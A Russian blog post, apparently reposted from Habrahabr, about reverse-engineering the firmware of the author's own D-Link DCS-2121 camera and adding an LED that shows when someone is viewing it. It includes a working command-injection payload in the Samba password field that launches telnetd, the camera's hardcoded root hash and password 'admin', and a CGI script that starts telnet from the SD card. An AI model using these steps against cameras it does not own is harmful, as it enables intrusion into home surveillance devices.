Исследуем firmware камеры D-Link DCS-2121

8 Июн
2012

Около года назад я купил камеру D-Link DCS-2121. Вот ее краткие характеристики:
  • Камера 1 Мп + микрофон,
  • Поддержка WiFi,
  • Web-интерфейс для доступа к данным,
  • Запись на SD-карту, детектор движения,
  • Внешние логические выходы.

Повесил я ее дома, подключил к zoneminder для видеонаблюдения.
Также сделал «секретную» страничку на домашнем веб-сервере под паролем, чтобы домашние могли заглядывать в камеру, находясь вне дома.
Одно меня беспокоило — никак нельзя понять, смотрит сейчас кто-нибудь в камеру или нет.

D-Link во все свои устройства встраивает linux. Решил я на досуге поковыряться в прошивке, вдруг чего интересное найдется.

Для начала скачиваем ее с сайта d-link:
wget ftp.dlink.ru/pub/Multimedia/DCS-2121/Firmware/DCS-2102_DCS-2121_A3_FWv.1.06_5731.rar


Прошивка представляет собой обычный самораспаковывающийся shell-скрипт с прицепленным бинарником.
Весь смысл скрипта сводится к тому, чтобы отделить бинарник и распаковать его с помощью программу ddPack, которая находится на устройстве и что делает неизвестно.

Предполагаем, что внутри находится cramfs, поэтому пробуем поискать ее «magic»-байты — 0x28cd3d45.
perl -ln0777e 'print pos()-4 while /(\x45\x3d\xcd\x28)/g' update_DCS-2102_DCS-2121_1.06_5731.bin


Получаем смещение — 1072552.

С помощью dd отделяем cramfs от всего остального:
dd if=update_DCS-2102_DCS-2121_1.06_5731.bin of=cramfs bs=1072552 skip=1

Проверяем:
root@server:/# file cramfs 
cramfs: Linux Compressed ROM File System data, little endian size 5926912 version #2 sorted_dirs CRC 0x701ef55d, edition 0, 3667 blocks, 1255 files

Раз все прошло удачно, то монтируем:
mount -o loop,ro cramfs /mnt/tmp


Теперь у нас есть возможность изучить внутренности камеры.

Из прошивки становится понятно, что файловая система монтируется readonly, часть конфигурационных файлов генерируют скрипты в /tmp, куда монтируется tmpfs. SD-карта монтируется в /mnt/usb.

Камера Использует lighttpd, файлы лежат в /var/www.

Большинство cgi-скриптов являются символическими ссылками на один бинарный cgi — /var/www/cgi.
Было решено проверить этот скрипт на так называемый semicolon injection:
root@server:/mnt/var/www/cgi# strings cgibox |grep -E "\/.*%s$"
smbmount //%s/%s %s -o username=%s,password=%s
smbmount //%s/%s %s -o username=%s,password=%s

и вот он, похоже, что параметры, передаваемые smbmount никак не проверяются.
Для проверки заходим в web-интерфейс камеры в Setup -> Recording, включаем «Enable recording», выбираем «Samba Network Drive» и вводим во всех полях test,
чтобы посмотреть, как камера реагирует на ошибку.



Теперь попробуем в полях «Password» и «Password confirm» написать что-то навроде «test;/bin/true».
Нам повезло, камера весело откликнулась Ok.



Тогда пробуем вписать туда «test;/usr/sbin/telnetd» и доступ к камере открылся:

user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login:
Теперь нужно еще немного покопаться в прошивке, чтобы понять какой нужен логин и пароль.
/etc/passwd и /etc/shadow являются символическими ссылками на одноименные файлы в /tmp, следовательно их генерируют скрипты. Находим упоминания об этом в /etc/rc.d/rc.local:
start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow

Путем нехитрых манипуляция с гуглом выясняем, что данному хэшу соответствует пароль admin… Мило.

Наконец-то мы смогли зайти на нашу камеру.

user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login: root
Password:

BusyBox v1.01 (2011.08.30-16:09+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # uname -a
Linux Living_Room 2.4.19-pl1029 #1 Wed Aug 31 00:10:54 CST 2011 armv4l unknown
~ #
Дальнейшие поиски какого-нибудь скрипта, который позволит запускать telnetd при загрузке камеры оказались неудачны, но был обнаружен другой не менее интересный способ запуска демона.
В /var/www была обнаружена следующая символическая ссылка — /var/www/sdcard -> /mnt/usb.
Оказалось, что достаточно просто положить файл telnet.cgi на sd-карту (/mnt/usb/telnet.cgi):
#!/bin/sh

/usr/sbin/telnetd >/dev/null 2>&1 &

echo Telnet started, login with root/admin

exit 0

И теперь запускать telnetd можно прямо из web-интерфейса: cam01.home/sdcard/telnet.cgi

Т.к. web-сервер позволяет выполнять любые файлы с расширением cgi я стал думать, как это можно использовать в своих целях.

Порывшись в бинарниках был найден интересный экземпляр с недвусмысленным названием — /bin/light. При запуске он выдает следующий список параметров:
light [out1|out2|out3|out4|led|power|active|wpsLed|rs485|ir|irupper] [on|off]

Он позволяет включать-выключать светодиоды и управлять внешними выходами.
Светодиодом power/active управлять особо не получилось, т.к. им управляет демон watchDog.
А вот светодиод wpsLed, находящийся сзади вполне себе свободен, при его включении сзади камеры появляется приятное синее освещение.
Решено, попробуем использовать его в качестве индикации того, что кто-то сейчас просматривает камеру.

Раньше для доступа к картинке с камеры я использовал 1-й профиль в режиме mjpeg, доступный по адресу:
/video/mjpg.cgi?profileid=1

С помощью nginx я проксировал внешнюю ссылку на этот адрес.

На sd-карту было положено два файла:
Первый — light.sh:
#!/bin/sh

/bin/light wpsLed on >/dev/null 2>&1 &
sleep 3
/bin/light wpsLed off >/dev/null 2>&1 &
exit 0

Смысл его понятен — включить на 3 секунды подсветку.

и второй — light.cgi
#!/bin/sh

/usr/bin/killall light.sh >/dev/null 2>&1
/mnt/usb/light.sh >/dev/null 2>&1 &
exit 0

Задумка была такова, что если дергать постоянно light.cgi, то будет включена подсветка, если перестать, то подсветка погаснет.

Для этой задачи был написан php-скрипт. Пусть тяжеловато, но другого способа передавать данные и одновременно дергать скрипт для поддержки индикации я не нашел.
<?php
        if (!preg_match('/cam$/', $_SERVER["REQUEST_URI"])) {
                echo '<html><head></head><body><img src="?cam"></body></html>';
                exit;
        }
        $host = 'cam.home';

        $user = 'viewer';
        $pass = 'password';
        $br = "\r\n";
        
        function light() {
                global $host, $user, $pass, $br;

                $socket_l=fsockopen($host, 80, $errno, $errstr, 10);

                $headers_l=array(
                        'GET /sdcard/light.cgi HTTP/1.0',
                        'Host: '.$host,
                        'User-Agent: MyUserAgent',
                        'Authorization: Basic '.base64_encode($user.':'.$pass)
                );
                fwrite($socket_l, implode($br, $headers_l).$br.$br);
                fclose($socket_l);
        }

        $socket=fsockopen($host, 80, $errno, $errstr, 10);

        $headers=array(
                'GET /video/mjpg.cgi?profileid=1 HTTP/1.0',
                'Host: '.$host,
                'User-Agent: MyUserAgent',
                'Authorization: Basic '.base64_encode($user.':'.$pass)
        );
        fwrite($socket, implode($br, $headers).$br.$br);

        fgets($socket,1024); // HTTP request line
        while(!feof($socket)) { // headers
                $hdr = fgets($socket,1024);
                if ($hdr == "\r\n") break;
                header($hdr);
        }
        $beginTime = 0;
        while(!feof($socket)) { // data
                $data = fgets($socket,1024);
                if (microtime(true) - $beginTime >= 2) {
                        $beginTime = microtime(true);
                        light();
                }
                echo $data;
        }
?>


Скрипт называется index.php. При вызове без параметров выводит простейший html со вставленной картинкой. При вызове с параметром cam (index.php?cam) возвращает саму картинку, не забывая дергать скрипт включения подсветки. Таким образом, просматривающему камеру обойти включение подсветки невозможно.

Теперь домашние обращаются к этому php-скрипту. Они видят картинку с камеры, ну а я вижу что в камеру в данный момент кто-то смотрит.

Интересно провел время и задача решена.
По материалам Хабрахабр.



загрузка...

Комментарии:

Наверх